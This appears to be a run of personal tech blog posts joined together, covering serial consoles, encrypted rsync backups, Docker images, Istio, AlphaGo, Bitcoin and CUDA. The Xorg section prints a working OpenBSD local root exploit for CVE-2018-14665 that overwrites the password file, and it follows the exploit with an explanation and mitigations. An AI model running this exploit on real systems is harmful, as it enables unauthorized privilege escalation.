You will now begin to see messages indicating that the system is booting and finally see the login prompt, where you can use the system as you like.

Let me de-construct the argument that was passed into the kernel “console=ttyS0,115200n8” so that it’s clear what just happened. Without this argument, you will not see anything shown on your “screen” output. Screen is a CLI application available in most distros by default, and if not, can be installed quite easily with the distro-specific package managers available. Screen will interface with the serial port and communicate with the board over TTL-232 serial communications. Any key presses will be sent down the wire, and any output will be received and displayed on the screen, just as if you are connected to the board using a keyboard. By passing this argument to the kernel in the GRUB menu, we are instructing the kernel to use serial driver for the console communications with a baud rate of 115200 (which must match what you use on the host end when invoking the screen command). It also uses no parity bits, designated by the ’n’ and an 8-bit data payload in each frame.

This combination of baud rate, data size, parity bit and in some cases the stop bit form the parameters of the connection that both ends of the serial connection must match in order to establish the connection successfully. In this case its 115200 bps, 8 bits of data, NO parity bit, 1 stop bit. If you run into trouble in establishing a serial connection, or see random characters instead of proper console output, validate these settings and confirm that both ends of the serial connection are using the same settings.

To conclude, there’s one more thing you need to know, and that his how to exit screen. The magical key combination that you need to invoke is CTRL-a, followed by ‘\’ (back-slash) and enter ‘y’ at the prompt. Without this little tidbit of information, it’s quite possible to get stuck in the land of screen with nowhere else to go, just like all those beginning vi and Emacs users.

You should now be all set to hacking on the Minnowboard!

Today, I want to focus on backups. Specifically, how can I backup my Linux filesystems in a way, that I can:

1. Perform it fairly frequently without much of a hassle. More hassle means that it will not get done as frequently as I would like, and defeating the purpose of maintaining backups

2. Is secure. The media that I want to backup to is very portable, and has a high chance of being misplaced or lost. Encryption of the contents is therefore a requirement.

3. I would like the restoration process to be fairly painless and be able to perform it without many dependencies, preferably by booting into an Arch Linux installation image, for example. As it is the case with most things in Linux, there are many ways that this could be done. In this case, I’m sticking to rsync as the tool for taking the backup. It can be used to create a replica of a given directory structure in a different location, either on a different filesystem or even on a different networked host fairly easily. In this example, I’ll be using a USB disk that I use for offline storage.

Next, encryption. I would really like to avoid the self encrypting disks especially with the disclosure of issues recently with several leading storage manufacturers that revealed serious vulnerabilities in how the encryption is performed that can lead to compromise of the data fairly trivially. The encryption keys, ciphers and technologies used is something that I would like to control for my backups. Which leads me to encrypted file systems on Linux. There are several options, when it comes to this topic, and the ones I short-listed are dm-crypt and EncFS. The former is natively supported in most distros, is mature and works at the block level. The latter works in the user space and is simple to get started with. I quickly eliminated EncFS due to the many security issues surrounding it that was discovered as part of a security audit of its implementation some time back.

So now, the tools we will be dealing with are rsync + dm-crypt on Linux with a simple script to make the process simple.

First, create a partition on the external storage to house the backup. Tools such as fdisk, gdisk and cfdisk can be used for this.

To encrypt the volume for use with the backup, follow the steps below:

# cryptsetup -v --type luks --cipher aes-xts-plain64 --key-size 256 --hash sha256 --iter-time 2000 --use-urandom --verify-passphrase luksFormat /dev/sdcX

This sets up a new dm-crypt device in LUKS encryption mode and encrypts the master key with a key derivation algorithm that uses sha256 and 2000 rounds in the example above. It sets up the LUKS device header in the device with this configuration, but we still need to create the file system in order to start using it. We achieve this by:

# cryptsetup open /dev/sdcX backup 
# mkfs.ext4 /dev/mapper/backup

As you can see, the path provided to mkfs.ext4 is the “mapped” device, which allows dm-crypt to intercept the calls to the file system and perform the encryption behind the scenes in a manner that is transparent to calling applications. At this point, the file system is created and can be mounted as follows:

# mount -t ext4 /dev/mapper/backup /mnt

Now that we have an encrypted file system, let’s synchronize our root file system over to the /mnt file system with the following command:

rsync -aAXv --delete --exclude=/dev/*        \ 
                     --exclude=/proc/*       \ 
                     --exclude=/sys/*        \ 
                     --exclude=/tmp/*        \ 
                     --exclude=/run/*        \ 
                     --exclude=/mnt/*        \ 
                     --exclude=/backup/*     \ 
                     --exclude=/lost+found/* \ 
                     --exclude="Downloads"   \ 
                     --exclude=.cache        \ 
                     --exclude=/shared/*     / /mnt

This will take a while initially, but in subsequent runs, rsync will only ship the differences and will be much quicker. It will keep the two file systems completely in sync quite efficiently.

You can find a more complete version of the backup script here.

Once the backup is complete, the backup filesystem can be unmounted as follows:

# umount /mnt 
# cryptsetup close backup

Any backup strategy is incomplete without confirmation that restoration is tested to be possible. For this, create a bootable USB or SD card with your favorite distro or rescue disk, and boot into it. Once booted, attempt to mount both the backup storage disk and the file system to restore to and run the following command, tweaking it to your environment as necessary:

# rsync -aAXv --dry-run --delete --exclude="lost+found" --exclude="boot" --exclude="var" /backup/ /source/

For this I have included the dry-run argument, which prevents any actual changes to the file system. The changes to be performed will be output to the console, and if it includes the files that you’re looking to restore from the backup and you’re happy with what you see, you can re-run the command without the dry-run argument and let rsync synchronize the two file systems. You can also choose to cherry pick what you need from the backup file system if you just want to restore a specific file.

In case someone finds it useful, here’s the “backup” script that I use to perform the weekly backup of my home directory.

#!/bin/bash
if [ $EUID != 0 ]; then
 echo "Please run this script as root."
 exit 1
fi

MOUNT_DIR=/mnt
BACKUP_DIR=/home/anuradha

echo "List of disks on /dev/sda"
fdisk -l /dev/sda
echo
echo -n "Disk to backup to: "
read DISK
if [ ! -e ${DISK} ]; then
 echo "Disk doesn't exist!"
 exit 1
fi

mounts=$(mount | grep ${MOUNT_DIR} | wc -l)
if [ ${mounts} -ne "0" ]; then
 echo "Mount already in use, attempting to unmount..."
 umount ${MOUNT_DIR}
 if [ $? != 0 ]; then
  echo "Error unmounting ${MOUNT_DIR}"
  exit 1
 fi
fi
if [ -e /dev/mapper/backup ]; then
 echo "Backup volume exists, closing mapper..."
 cryptsetup close backup
 if [ $? != 0 ]; then
  echo "Error closing mapper"
  exit 1
 fi
fi
echo "Mounting ${DISK}..."
cryptsetup open ${DISK} backup
mount -t ext4 /dev/mapper/backup ${MOUNT_DIR}

echo "Syncing..."
rsync -aAXv --delete ${BACKUP_DIR} ${MOUNT_DIR}/backup

if [ $? == 0 ]; then
 echo "Backed up successfully!"
else
 echo "Error during backup!"
fi
umount ${MOUNT_DIR} || echo "Error while unmounting ${MOUNT_DIR}"
cryptsetup close backup || echo "Error while closing mapper: backup"

This is simple enough, and helps me achieve the three objectives that I laid out initially.

X Windows, and the popular fork X.org, is notorious for security issues and vulnerabilities. Most recently, a bug in X.org that has been around for nearly two years and is trivial to exploit has been disclosed. It makes use of two command line arguments (-logfile and -modulepath) that overwrite files and can be used for privilege escalation if X runs with setuid root.

Even OpenBSD is not immune from this attack, as shown here by the simple exploit by hacker.house.** Disclaimer**: do not try this on critical systems. Use only for assessment on systems you own or are authorized to run this.

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -

The exploit above passes the /etc/master.passwd file on an OpenBSD system as an input to the -logfile argument of Xorg along with the -fp argument which specifies the font path. Since Xorg is running as root in this case as a result of the setuid bit, it will log the font path provided in the command line overwriting the password file with the crafted entry that can be used to escalate the privileges.

How can you protect yourself from this:

1. Remove the setuid bit on the Xorg binary. This may cause disruptions for individuals starting X directly. This can be considered as a stop-gap until appropriate countermeasures are in place.

2. Make use of a display manager to start the X sessions, so that the Xorg binary does not require root privileges. In the meantime, pick up the security updates to Xorg from your distribution as and when it becomes available.

3. Uninstall Xorg from systems that don’t need it. Even if it is not running, it provides an avenue for hackers to exploit a vulnerability simply by virtue of the vulnerable application being installed, such as in this case. It is always a good practice to only install applications and packages that are required on critical systems to prevent vulnerabilities from providing an attack vector for malicious actors. For instance, an arbitrary code execution vulnerability in a web application can be used to remotely exploit this vulnerability and gain a remote shell without requiring a local account access. On a different note, while it’s important for public disclosures of this type of vulnerability, it is also important to provide time for affected distributions to take action so that it doesn’t cause widespread havoc given how easy it is to run the exploit. At the time of this writing, here’s the status of the Xorg package on Debian with respect to this CVE:

You can find the most up to date status on the Debian Security Tracker for this CVE-2018–14665.

Theo De Raadt of OpenBSD has been vocal on how the disclosure has taken place given the severity and the widespread affliction of the vulnerability. It is probably indicative of a broader issue surrounding disclosures and finding the right balance to reduce the impact to those affected.

In the meantime, patch up and stay safe!

One of the challenges in building Docker images, is keeping it small and lean. For example, let’s take a simple app that prints a simple message to the console, and containerize it in Docker. Here’s the code of the application in Go:

package main

import "fmt"

func main() {
 fmt.Println("lightweight docker go")
}

To containerize this, we have the following Dockerfile:

FROM golang:1.10
COPY . /app
RUN cd /app && go build -o hello hello.go
ENTRYPOINT /app/hello

Let’s build and run this Docker image:

$ docker build -t lightweight-docker-go .
Sending build context to Docker daemon  3.072kB
Step 1/4 : FROM golang:1.10
 ---> 9257089f13de
Step 2/4 : COPY . /app
 ---> Using cache
 ---> cc89ebc2e4e0
Step 3/4 : RUN cd /app && go build -o hello hello.go
 ---> Using cache
 ---> a2458fdd22f9
Step 4/4 : ENTRYPOINT /app/hello
 ---> Using cache
 ---> 836d07d36a8f
Successfully built 836d07d36a8f
Successfully tagged lightweight-docker-go:latest$ docker images | grep lightweight-docker-go
lightweight-docker-go  latest  836d07d36a8f  7 minutes ago  796MB

The simple Docker image that was created for this basic application is 796MB.

If that seems a little too excessive for you, please read on, and I’ll show you how to strip this container down to the bare essentials.

The default base images includes way more stuff than you really need, and while it may seem wasteful, it can also be quite insecure, as it can increase the attack surface for attackers. So what you’d need to do, is to only use the bare essentials and create a container which is optimized and secured for your application.

A good base for such a stripped down container is Alpine Linux.

For this, we can leverage multi-stage builds in Docker 17.05+, so that we can build the binary using one base image, and copy it over to another more lightweight image. Here’s a Dockerfile that would do exactly that:

FROM golang:1.10 AS build-env
COPY . /app
RUN cd /app && go build -o hello hello.go

FROM alpine
WORKDIR /app
COPY --from=build-env /app/hello /app/hello

ENTRYPOINT /app/hello

Here, you’d notice that we have two “FROM” directives. The first one will be used for the base image for building the application and the second one for the final image. The built binaries are copied over from the first image over to the second and the application entrypoint defined.

The size of this new image is ~6MB.

Additionally, you may want to run the application as a non-root user, to reduce the attack surface even further. You can do that by switching the user to a non-root user as shown below:

FROM golang:1.10 AS build-env
COPY . /app
RUN cd /app && go build -o hello hello.go

FROM alpine
WORKDIR /app
COPY --from=build-env /app/hello /app/hello
RUN chown nobody:nogroup /app
USER nobody

ENTRYPOINT /app/hello

The Github repo with the code above is available here.

If you’re looking to build a modern microservices architecture that is highly scalable, observable, secure and resilient, it would make sense to consider some of the service mesh technologies that are rapidly evolving right now. At the time of this writing, Istio is one of the key frameworks that have been gaining a lot of traction, and a key contender in the service mesh race.

Source: https://www.infoq.com/presentations/istio-service-mesh

For those new to the subject, a service mesh is a layer of infrastructure between a service and a network that frees the developers from network and policy considerations and provides operators with controls for monitoring, policy enforcement, networking and resiliency concerns.

It does so by taking the existing pattern of the central reverse proxy that sits in front of a large number of services, and colocates a lighter variant of it with each individual service. In addition to being a reverse proxy, this “sidecar” proxy (so named due to the fact that it sits alongside each service in a tightly bound configuration), is able to perform traffic routing, inter-service communication, policy enforcement, throttling and a myriad of other capabilities that make this pattern very powerful.

Source: https://www.infoq.com/presentations/istio-service-mesh

All communication in and out of the service is mediated through the sidecar, which is now capable of performing a number of cross cutting capabilities that both free up the developer from networking aspects, and empower the operators to uniformly apply capabilities that concern them.

Istio builds upon a battle tested sidecar known as Envoy, developed and used in production at Lyft for many years. Built using C++, it has a low memory footprint and supports dynamic configuration updates, zone aware load balancing, traffic splitting, routing, circuit breakers, timeouts, retries, fault injection, HTTP/2, gRPC and orchestrated across the network by a “Pilot”.

The Pilot, Mixer and CA constitute the control plane through which all the configuration, policy enforcement and control flows takes place. The data plane consists of all the Envoy proxies that mediates all the service requests and data communications.

Each Envoy publishes metrics to a “Mixer”, which has adapters for popular monitoring backends, prometheus being a popular one. The Mixer is also used for policy evaluation, implementing quotas, and rate limiting.

Source: https://www.infoq.com/presentations/istio-service-mesh

The Envoy, being both a Layer 4 and Layer 7 reverse proxy, is capable of performing complex traffic control based on rules pushed by the operators and can be made to take effect immediately without a restart. This makes the infrastructure extremely nimble for the operations team. For example, below is an example of how 1% of the traffic can be routed to an alternate route for A/B testing:

Source: https://www.infoq.com/presentations/istio-service-mesh

This could be made possible by pushing out the following policy change to the Envoy:

Source: https://www.infoq.com/presentations/istio-service-mesh

Envoy can also perform L7 routing for traffic steering based on HTTP headers as in the scenario below:

Source: https://www.infoq.com/presentations/istio-service-mesh

Envoy also takes care of generating spans and integrating with tools such as Zipkin that provides distributed tracing capabilities which makes observing a complicated distributed interaction and correlating causality a feature of the service mesh, and not something developers have to individually account for and build into their services.

Metrics captured by the monitoring backends can be visualized through many of the existing tools available such as Grafana for a real time view into the state and health of the service mesh.

One of the key differences in this pattern compared to the centralized middle proxy is that the sidecar is bound to the same trust domain as the individual service, and in the case of a compromise, this reduces the attack surface. Secondly, this architecture also allows services to implement fine-grained policies around inter-service communication that uses cryptographically verifiable identities instead of elements that can be spoofed by a savvy insider.

For example, service A can be configured to only be allowed to invoke service B, and the interaction will be governed and mandated by the proxy through the use of mutual TLS certificates with the Istio CA. Previously, this type of policy enforcement was complicated in highly dynamic environments such as orchestration platforms where the IP addresses change frequently and the workload tends to be highly mobile. This made systems very difficult to protect from insider attack as there was no inherent identity bound to the service that can be cryptographically assured at the time of enforcement.

Source: https://www.infoq.com/presentations/istio-service-mesh

In the case of possible security compromise, the certificates bound to the identities can be can be individually revoked giving fine grained control over the blast radius.

At the time of writing, Istio is at version 0.6 and has not reached GA. Nevertheless, it’s definitely a technology to watch out for in 2018.

When IBM’s Deep Blue beat Gary Kasparov, I was fifteen years old. I didn’t know the significance of the event at the time, nor was I even interested in the epic battle that was to define the technology advancements in AI in that decade. It was a really huge deal, as it proved that machines were capable of accomplishing something that was clearly the domain of humans, requiring ingenuity and skill that nobody expected an algorithm, much less a machine, to match.

Less than twenty years later, a similar feat was achieved when AlphaGo beat Lee Sedol in the game of Go, an achievement ten years ahead of its time. AlphaGo, a system built on the foundations of supervised and reinforcement learning and a state-of-the-art Monte Carlo tree search algorithm that combed through many generations of self-play, faced Lee Sedol, a 9 dan professional widely acclaimed to be the best in the game.

The AlphaGo documentary did a great job in chronicling this amazing face off and is a must watch for those interesting in a riveting AI techno-thriller with smash cuts to developers coding set against the most epic battle of Go that will leave you at the edge of your seat.

What’s different about Go, that it took nearly twenty years for computers to be able to crack, is the fact that unlike Chess that has a branching factor of 35, which means that for each legal position, a player has about 35 moves that can be made, Go has 250. This means that a system based purely on brute force search is impossible.

In addition, Go players are known to work very intuitively when it comes to gameplay, and sometimes a player would characterize a certain move as one that “felt right”, which is something very difficult to model algorithmically. As a result of this high branching factor, and “open-ended” gameplay, solving Go through brute force, minimax search through handcrafted evaluation functions as was used by Deep Blue in Chess was deemed impossible.

The approach that the team at Deep Mind working on AlphaGo took, was very different. In place of a handcrafted evaluation function, AlphaGo uses deep neural networks and Monte Carlo Tree Search (MCTS) of simulations for gameplay. An in-depth treatment of the techniques and results are available in the Deep Mind paper “Master the game of Go with deep neural networks and tree search”.

Next, I will dive into the salient aspects of this paper.

How was AlphaGo built?

Taking a brute force approach is intractable for the reason that the search space tends to be very large for Go. The number of positions that would need to be searched through is represented by the equation b^d (b raised to the power of d), where b is the branching factor or the number of legal moves, and d is the game length. In the case of Chess, this comes to 35⁸⁰ possible permutations, whereas in Go, this comes to 250¹⁵⁰ possible permutations, hence the intractability of solving through brute force.

The solution that AlphaGo provides, is a deep convolutional neural network that is trained through supervised and reinforcement learning on the backdrop of an MCTS algorithm.

Source: https://www.semanticscholar.org/paper/Mastering-the-game-of-Go-with-deep-neural-networks-Silver-Huang/1740eb993cc8ca81f1e46ddaadce1f917e8000b5

In the first stage of the training pipeline, a Supervised Learning (SL) policy network of 13 layers, is trained with 30 million positions from the KGS Go Server achieving an accuracy of 55.7% using only raw board positions and move history as inputs. This was an improvement over 44.4% which was the state-of-the-art at the time. This was however expensive to compute, so an additional less accurate but more performant fast rollout policy network was trained to achieve an accuracy of 24.2% and which was capable of executing in 2 microseconds as opposed to 3 milliseconds to select an action.

In the second stage of the pipeline, a Reinforcement Learning (RL) policy network that is identical in structure to the SL policy network is initialized with the same weights. It is then made to play with a randomly selected previous iteration of the policy network with an attached reward function that is used to maximize the expected outcome. When the RL policy network is made to play against the SL policy network, the former won 80% of the time. It also played against an open source Go engine, Pachi, that is based on MCTS and which executes 100,000 simulations per move. AlphaGo won 85% of the games against Pachi. The previous state of the art was only capable of winning 11% of the games with Pachi, for comparison.

The third and final stage of the pipeline focuses on the problem of evaluating a position on whether it leads to a winning outcome. As training on the KGS dataset alone lead to overfitting and less generalization, this network was trained on 30 million distinct positions sampled from self-play of the RL policy network. This value function proved to be consistently more accurate than MCTS rollouts using the fast rollout policy. It also consumed 15,000 times less computation as compared to MCTS rollouts using the RL policy network.

The policy and value networks are then combined in an MCTS algorithm that searches a tree of simulations in four phases:

Source: https://www.semanticscholar.org/paper/Mastering-the-game-of-Go-with-deep-neural-networks-Silver-Huang/1740eb993cc8ca81f1e46ddaadce1f917e8000b5

• Selection — selecting an edge with the maximum action value and stored prior probability for that edge
• Expansion — leaf node is expanded and processed by the policy network and stored as prior probabilities for each action
• Evaluation — the leaf node is then evaluated using the value network and by rolling out to the end of the game using the fast rollout policy
• Backup — action values are updated for the already run evaluations

A great deal of computation power is required to efficiently combine MCTS and deep neural networks. To achieve this scale, AlphaGo finally used a distributed system of 48 CPUs, 8 GPUs, 40 search threads to perform an asynchronous multi-threaded search of simulations.

How does AlphaGo compare with others?

AlphaGo was made to compete against several other Go engines, both free and commercial and it proved to be several dans stronger than any other program by winning 494 out of 495 games at a staggering 99.8% win rate.

Comparison of AlphaGo vs Free and commercial Go programs. Source: https://www.semanticscholar.org/paper/Mastering-the-game-of-Go-with-deep-neural-networks-Silver-Huang/1740eb993cc8ca81f1e46ddaadce1f917e8000b5

It was then sparred with Fan Hui, a 2 dan professional and European champion which AlphaGo won 5–0. This was the first time that AlphaGo won against a human professional.

During 9–15 March 2016, AlphaGo played against Lee Sedol in a competition of 5 matches and won the tournament 4–1, and was awarded an honorary 9 dan for its efforts.

Creativity

In game 2, AlphaGo displayed a surprising creative streak with its move 37 which displayed an unconventional approach, yet somehow masterful in hindsight.

It was one that scored a low probability as a human move but somehow had scored a high action value through RL self-play over millions of games. In effect, AlphaGo has discovered a new technique that challenged the existing knowledge of Go norms by learning from more games than we have ever played in the aggregate of all human existence.

Another aspect that this highlighted was the fact that our conventional assessment of what is a good or a bad move is based on moves that lead to higher scores, and yet AlphaGo was less concerned purely on material advantage and tended to favor outcome and less on the degree of victory, which often led to “unconventional” moves and new strategies.

In summary, what AlphaGo achieved was a landmark in machine intelligence and while AlphaGo is still considered “narrow” AI, it opened up techniques that can be easily adapted and generalized to board games such as Chess, Shogi, and others. There have been additional advances in this area such as AlphaZero which achieves this tabula rasa, and best left for another post.

In the previous part, we discussed the core technology behind Bitcoin and the concepts that make it tick, namely:

1. Chain of transactions using hash-based proof-of-work

2. Distributed peer-to-peer network that doesn’t require trust

3. Coin creation and incentives for miners These core capabilities are what drives the implementation of the transferrable asset known as Bitcoin on an immutable ledger that solves the problem of double spending with no central authority — what enables bitcoin to serve as a currency and a store of value. In this post, we will be covering some challenges Bitcoin faces as its adoption grows at a rapid rate.

Barriers to entry

For the folks who are non-conversant in elliptic curve cryptography and the secure management of encryption keys, present-day cryptocurrencies and blockchains can be a real barrier to entry.

Some of the tectonic shifts that have been taking place in the world Bitcoin recently, such as segregated witness, Segwit2X (New York Agreement), Bitcoin Cash and the possibilities of hard forks and the implications they have on dealing with Bitcoin, pose a steep learning curve for those not conversant with Bitcoin’s technical details.

Security

With traditional fiat currencies, consumers have come to trust the institution that mediates transactions, aka the Bank, who is also responsible for making sure your money does not get stolen from their vaults. In cryptocurrencies there is no such mediator, and all security becomes the responsibility of the user. This puts more incentive on the user to protect his/her encryption keys, use strong passwords for the wallets, multi signatures and other cryptographic concepts that would seem alien to the ordinary user. A hacker simply needs access to your private key to siphon away your life’s savings in Bitcoin and there’s nothing that can be done. Even exchanges are not immune to this as was evident in the Mt. Gox hack that emptied the wallets of many in an instant. Solutions like Trezor attempt to simplify and secure key management in an easy to use device.

Privacy and anonymity

Unlike traditional bank transactions, all Bitcoin transactions are in the public record and every transaction since the genesis block is viewable by anyone. There’s no reference or link to the identities in any of these transactions so we just don’t know who is behind them.

Reference: Nakamoto, Satoshi. "Bitcoin: A Peer-to-Peer Electronic Cash System." (2008).

Here's a transaction of 300 BTC between two parties:

Source: https://blockchain.info/tx/e07734c68f8dccb4e0b7406988b5b0890812acae4bca24abc24ce092f21b7339

Its not completely anonymous as most tend to believe. Exchanges already know a great deal of information about their users that they can link to known Bitcoin wallets. It would be possible for anyone to analyze the blockchain and start working out the transaction graph to monitor, correlate and infer the activity, and even tie it back to identities with the help of exchanges, law enforcement and even retailers. People who know what they're doing will know enough to cover their tracks if they want to, but anonymity is an illusion for the casual user. Currencies like Monero and zCash are designed to protect information that can be used to trace individuals and transactions and provide stronger privacy protections than Bitcoin.

51% problem

Anyone who controls more than 51% of the hash rate in the system will have an upper hand in the Bitcoin network and can essentially prevent the confirmation of Bitcoin transactions, as well as break the double spending guarantee by reversing their own transactions.

They would still not be able to create new coins, alter the previous transactions or steal from wallets, but it would give someone willing to build a mining rig worthy of garnering 51% of the compute power in the Bitcoin network which is collectively more than 256 times powerful than all the supercomputers combined, the ability to bully the network for however long they can afford to sustain it. I wouldn’t rule a few well-meaning governments out.

Volatility and uncertainty

A recent change that was adopted by Bitcoin miners was Segwit2X, which is a change to optimize Bitcoin protocol to change the block structure by moving the signature portion of a transaction which accounts for 65% of the size of the transaction to a separate Merkle tree. This results in increasing the number of transactions that can be accommodated in a single block and improves the scalability of Bitcoin and its ability to handle a larger number of transactions and improves its overall throughput.

A competing attempt known as Bitcoin Cash (BCH) is also underway that is a hard fork of the blockchain which increases the block size to 8MB and supports adjustable proof-of-work. All of these changes happening at the core of Bitcoin technology and the uncertainty around which direction it’s going to take based on the consensus of the miners and users creates volatility in the system and uncertainty in the eyes of the casual users.

Transaction fees

Today a credit card processing network includes a flat transaction fee for the merchant for the benefits of using its network and associated services such fraud protection. In the Bitcoin world, fees are included with each transaction and would be borne by the party that initiates the transaction in order to incentivize the miners to pick up the transaction for confirmation.

Once mining rewards have dried out, miners would rely solely on transaction fees to drive its operations Even today, mining is becoming unprofitable purely on the reward, requiring the economies of scale that large-scale mining farms and specialized ASICs can provide. Miners who control the majority of the hash rate have the option of selecting transactions with higher fees and eventually push the transaction fees up affecting consumers. Already, Bitcoin transaction fees are up 1280% since 2015 and are expected to climb further. So, expect to pay more for the privilege of using Bitcoin to pay for your coffee.

Performance

Today, Bitcoin transactions can take anywhere from 10 minutes to several hours to be confirmed. Here is a view of the median confirmation time of Bitcoin transactions in the last 60 days. Segwit’s block size increase will help this situation with its increase in block size from 1MB to 4MB. But there’s still a long way to go in terms of performance of traditional payment instruments.

Bitcoin Cash, which is a hard fork of Bitcoin core, was created to address some of these problems of scalability. It did that by increasing the block size to 8MB so that more transactions can be crammed into a single block, which means smaller fees and faster transaction processing times. There was also mechanisms built into Bitcoin Cash to adjust the proof-of-work difficulty to incentivize miners, which in recent months has resulted in dramatic swings in the confirmation times as miners have figured out ways to make more money by switching back and forth with the original chain to maximize profits.

Power consumption

Maintaining the Bitcoin networks consumes an enormous amount of power. Just for perspective, each Bitcoin transaction consumes 250kWh, enough to power homes for nine days.

The last few months have been a great ride for Bitcoin, with prices hitting $19,000, and at the time of this writing back down to $14,000 in a matter of few days. Are we in a Bitcoin Bubble? Is it due for a crash? Let’s wait and see what 2018 brings.

Graphics chip manufacturers such as NVIDIA and AMD have been seeing a surge in sales of their graphics processors (GPUs) thanks mostly to cryptocurrency miners and machine learning applications that have found uses for these graphics processors outside of gaming and simulations. Primarily, this is because GPUs offer capabilities for parallelism that are not found in general purpose processors that happens to be a good match for operations such such as large scale hashing and matrix calculations which are the foundations of mining, and machine learning workloads.

CUDA from NVIDIA provides a massively parallel architecture for graphics processors that can be used for numerical computation. While a typical general purpose Intel processor may have 4 or 8 cores, an NVIDIA GPU may have thousands of CUDA cores and a pipeline that supports parallel processing on thousands of threads, speeding up the processing considerably. This can be used to considerably reduce training time in machine learning applications, which increases the number of experiments and iterations that can be run while tuning a model.

Source: http://graphicscardhub.com/cuda-cores-vs-stream-processors/

One of the challenges of CUDA and parallel processing was that it required the use of specialized technologies and skills and its use was therefore limited. In recent years, this space has become increasingly democratized and the technology made more accessible for folks with limited programming skills to pick it up and optimize their applications to make use of the massive parallelism capabilities that GPUs provide.

In the example below, I’ve demonstrated how this can be done using Python in a way that doesn’t require deep knowledge of CUDA and its intricacies. For this example, I suggest using the Anaconda Python distribution, which makes managing different Python environments a breeze. Follow the download and setup instructions for Anaconda as given here for your specific operating system.

In this example, we will be using Numba and NumPy for simulating a simple operation that can be executed in parallel using CPU cores as well as CUDA cores.

You're also going to need Anaconda Accelerate, which is a collection of packages for large scale data processing that also supports CUDA for parallelism. To pull down Accelerate for Anaconda along with its dependencies, execute the following in your conda environment:

$ conda install accelerate

Here’s a simple program that creates two vectors with 100 million entries that are randomly generated. A computation is then performed such that each entry from one vector is raised to the power of the corresponding entry in the other and stored in a third vector, which is returned as the results of the computation. Programming this linearly, we would use a for loop to perform this calculation and return back the answer. We’ve added a bit of timing code here to see how long it takes.

On an Intel Core i5, this program takes about 35 seconds.

We take the same program and modify it slightly for parallelism with CUDA.

Line 3: Import the numba package and the vectorize decorator

Line 5: The vectorize decorator on the pow function takes care of parallelizing and reducing the function across multiple CUDA cores. It does this by compiling Python into machine code on the first invocation, and running it on the GPU. The vectorize decorator takes as input the signature of the function that is to be accelerated, along with the target for machine code generation. In this case, 'cuda' implies that the machine code is generated for the GPU. It also supports targets 'cpu' for a single threaded CPU, and 'parallel' for multi-core CPUs. Developers can use these to parallelize applications even in the absence of a GPU on standard multi core processors to extract every ounce of performance and put the additional cores to good use. And all of this, with no changes to the code.

Line 6: We then convert the pow function to operate on a scalar instead of the entire vector. This would be an atomic task performed by one of the CUDA cores which Numba takes care of parallelizing.

Line 16: The function invocation is changed to receive the third vector instead of passing it in as a parameter.

Apart from these changes, the rest of the code remains unchanged. In this manner, so long as a problem can be decomposed to map a scalar function over an array, the massive parallelism of a GPU can be exploited to dramatically improve the performance.

What took 35 seconds previously, now takes only 0.36 seconds on a GeForce GTX 1050Ti. That's nearly a 100x improvement with minimal changes.

Performance comparison

With the death of Moore's law, developers have to increasingly rely on parallel computing for scaling the performance of applications and for optimum use of the available hardware. High level frameworks with support from technologies like CUDA are making this easier than ever to unlock the supercomputer that is sitting on your desktop. With that out of the way, let's go build something useful.

If you want free GPUs right now, check out Saturn Cloud, a flexible, scalable platform for data science.

Recently, I decided to pull up Satoshi Nakamoto’s paper with the hope of getting a deeper appreciation for Bitcoin and the machinations of a protocol that’s driving speculators insane watching a candlestick chart.

In the paper, Satoshi puts forward a solution to an old problem in distributed computing circles using Cryptography.

What’s even more interesting is, who is Satoshi Nakamoto, the mysterious creator behind Bitcoin and the originator of the genesis block? This is best left for a crypto thriller set in the backdrop of the dystopian, anarchic subculture of cryptographers, underground hack computer scientists and modern day alchemists.

Part 1: Technology

At its heart, the peer to peer system proposed by Satoshi Nakomoto is meant to address the double spending problem of digital currency that is completely decentralized and does not require trust between entities in the network in order to function. It does so by maintaining a public chain of transactions whose integrity is assured by hash-based proof-of-work that is nearly impossible to tamper with using present-day technologies. This block chain acts as an immutable ledger where transactions can be recorded using public key cryptography for maintaining integrity.

Reference: Nakamoto, Satoshi. "Bitcoin: A Peer-to-Peer Electronic Cash System." (2008).

At its foundation, the protocol relies on the following concepts.

Proof-of-Work

In this system where the base unit is a block of transactions, a new block is created approximately every ten minutes through a process known as mining and involves solving a very difficult math problem that requires considerable compute cycles but is very easy to verify once solved. For example, the string "Hello, world" hashes to the following using SHA256:

315f5bdb76d078c43b8ac0064e4a0164612b1fce77c869345bfc94c75894edd3

That’s pretty simple to compute. In fact, hashing has been used to verify whether data has been modified or been tampered with for decades and is the basis for digital signatures in conjunction with public key cryptography.

If we were to add a random string to “Hello World”, such as a zero at the end, and hash it again, we get a completely different output. The math problem that Bitcoin provides is to “discover” a suitable hash that has a predefined list of leading zeros. The number of zeros in this case is indicative of how difficult the problem is, and is determined by the average time that is required to solve this problem. The network regulates it such that it takes approximately 10 minutes to solve this problem and if it appears that the problem is being solved faster, the network automatically increases the number of zeros to slow things down. Bitcoin requires 18 leading zeros in the proof of work, based on the latest block as of this writing.

The reason that proof-of-work is compute intensive is because it requires brute forcing every known permutation till an answer is reached that can be verified. Whoever reaches the answer first gets to create a new block and through that process receives Bitcoins for the effort. This process is known as mining and is how new Bitcoins enter circulation. You could be doing this in your own basement, in contrast to fiat currencies, which could get you in trouble.

To further illustrate, here’s a simple Python script that demonstrates a simplified version of the concept:

The key point here is that the problem is hard to solve, but easy to verify. As part of the mining process, each block is validated for consistency and correctness, and invalid blocks are simply discarded by the network as it makes its way. This provides the self regulatory framework in the network to circumvent malicious actors.

Modifying a particular block requires completing the proof-of-work on each subsequent block and therefore gets increasingly difficult due to the proof of work that needs to be done.** Distributed Network**

Fundamentally, Bitcoin solves a distributed computing problem, and so requires a geographically distributed peer-to-peer network that doesn’t require trust, much like Bittorrent. Each node in the network has a copy of the entire block chain and is capable of computing the proof-of-work needed to create new blocks. When it finds a new block, it is broadcast to the network and it is verified by its peers and propagates across the network.

